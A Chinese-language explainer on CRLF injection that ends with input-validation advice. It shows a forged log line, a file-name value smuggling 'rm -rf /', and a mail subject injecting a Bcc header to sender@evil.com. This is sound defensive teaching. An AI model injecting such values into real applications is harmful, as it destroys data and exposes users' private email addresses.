簡析CRLF注入攻擊
仿佛CRLF注入攻擊并不像什么XSS、MYSQL注入攻擊那么著名,但是不可否認(rèn)的是如果安全漏洞存在的話這種攻擊同樣有效,并且也會對用戶造成極大的破壞。本篇文章將為您講述一下有關(guān)于CRLF注入攻擊是如何實(shí)施的。
CRLF的含義是“carriage return/line feed”,意思就是回車。這是兩個ASCII字符,分別排在第十三和第十位。CR和LF是在計(jì)算機(jī)終端還是電傳打印機(jī)的時(shí)候遺留下來的東西。電傳打字機(jī)就像普通打字機(jī)一樣工作。在每一行的末端,CR命令讓打印頭回到左邊。LF命令讓紙前進(jìn)一行。雖然使用卷紙的終端時(shí)代已經(jīng)過去了,但是,CR和LF命令依然存在,許多應(yīng)用程序和網(wǎng)絡(luò)協(xié)議仍使用這些命令作為分隔符。
攻擊者在搜索安全漏洞的時(shí)候沒有忽略很少使用的CRLF.攻擊者可以通過在一段數(shù)據(jù)中加入CRLF命令來改變接受這個數(shù)據(jù)的應(yīng)用程序處理這個數(shù)據(jù)的方式,從而執(zhí)行CFRL注入攻擊。
CRLF攻擊最基本的例子包括向記錄文件中增加偽造的記錄。也就是說,有安全漏洞的應(yīng)用程序把一個用戶輸入的內(nèi)容寫到系統(tǒng)記錄文件中。攻擊者可以提供如下輸入內(nèi)容:
Testing123MYSQL DATABASE ERROR: TABLE CORRUPTION
當(dāng)系統(tǒng)管理員在早上查看他的紀(jì)錄時(shí),他可能會用很多時(shí)間排除一個根本就不存在的故障。狡猾的攻擊者在攻擊系統(tǒng)的另一部分時(shí),可以使用這種特洛伊木馬分散管理員的注意力。
想像一下,一個應(yīng)用程序收到用戶輸入的一個文件名,然后對那個文件執(zhí)行一個指令,如“ls -a .”。如果這個應(yīng)用程序存在CRLF安全漏洞,攻擊者就可以輸入這樣的內(nèi)容:
File.txtrm -rf /
這個有安全漏洞的應(yīng)用程序就會執(zhí)行這個命令“ls -a File.txt”,然后再執(zhí)行這個命令“rm -rf /”。如果這個應(yīng)用程序是一個根程序,這可能就是它執(zhí)行的最后一個命令,因?yàn)樵诟謪^(qū)的全部文件都被刪除了。
考慮使用一種CRFL注入攻擊暴露使用一種基于網(wǎng)絡(luò)的匿名電子郵件系統(tǒng)的某個人的電子郵件地址。那個電子郵件系統(tǒng)的工作方式可能是這樣的:電子郵件的發(fā)送者用他們的電子郵件地址、信息主題和信息本身填寫一個表格。當(dāng)這個表格遞交到網(wǎng)絡(luò)服務(wù)器上的時(shí)候,網(wǎng)絡(luò)服務(wù)器把這個表格轉(zhuǎn)換為一個SMTP電子郵件,并且發(fā)送給收件人。發(fā)送者永遠(yuǎn)不會看到收件人的電子郵件地址。這個地址只有服務(wù)器知道。
如果這個應(yīng)用程序存在CRLF攻擊安全漏洞,電子郵件的發(fā)件人可以通過創(chuàng)建下面這樣的一行主題來破壞收件人的匿名性:
Subject: Peekaboo, I see youBcc: sender@evil.com
當(dāng)有安全漏洞的應(yīng)用程序得到這個數(shù)據(jù)的時(shí)候,它向這個郵件的文件頭增加一個不需要的行,創(chuàng)建一個發(fā)送到發(fā)件人郵件地址的這封郵件的盲送副本。在這個副本中,“To:”地址是看不到的,因此把收件人的郵件地址暴露給發(fā)送者。
使用良好的編程技術(shù)能夠避免包括CRLF攻擊在內(nèi)的注入攻擊。要使你的應(yīng)用程序不受CRFL注入攻擊,需要你保持與防御SQL注入攻擊等其它類型的注入攻擊一樣的警惕性:永遠(yuǎn)不要相信輸入的內(nèi)容!在你控制范圍以外的任何來源的輸入內(nèi)容都必須要進(jìn)行檢查,在你的應(yīng)用程序?qū)?shù)據(jù)執(zhí)行操作之前,任何不符合預(yù)期的數(shù)據(jù)類型的字符都要刪除。例如,如果你期待著一個電子郵件主題行,這個數(shù)據(jù)中的所有的字符都應(yīng)該是字母、數(shù)字和標(biāo)點(diǎn)符號。如果你的應(yīng)用程序期待著一個文件名,這個數(shù)據(jù)中只能包含合法地在文件名中使用的字符。如果程序員在這兩個例子的情況下簡單地過濾掉CR和LF字符,這個攻擊就失敗了。
用戶輸入是“壞字符”的一個來源。但是,你不要忘記檢查你從來沒有編寫過的其它程序輸入的內(nèi)容。在許多情況下,攻擊者可以把一個注入攻擊從一個有漏洞的應(yīng)用程序轉(zhuǎn)移到一個基本的例行程序中。程序員不會檢查基本的例行程序中的數(shù)據(jù),因?yàn)槟抢锏臄?shù)據(jù)不是直接來自于用戶。你要把任何你不能跟蹤到可信賴的來源的數(shù)據(jù)都當(dāng)作被感染的數(shù)據(jù)。這樣,你就安全了。
【編輯推薦】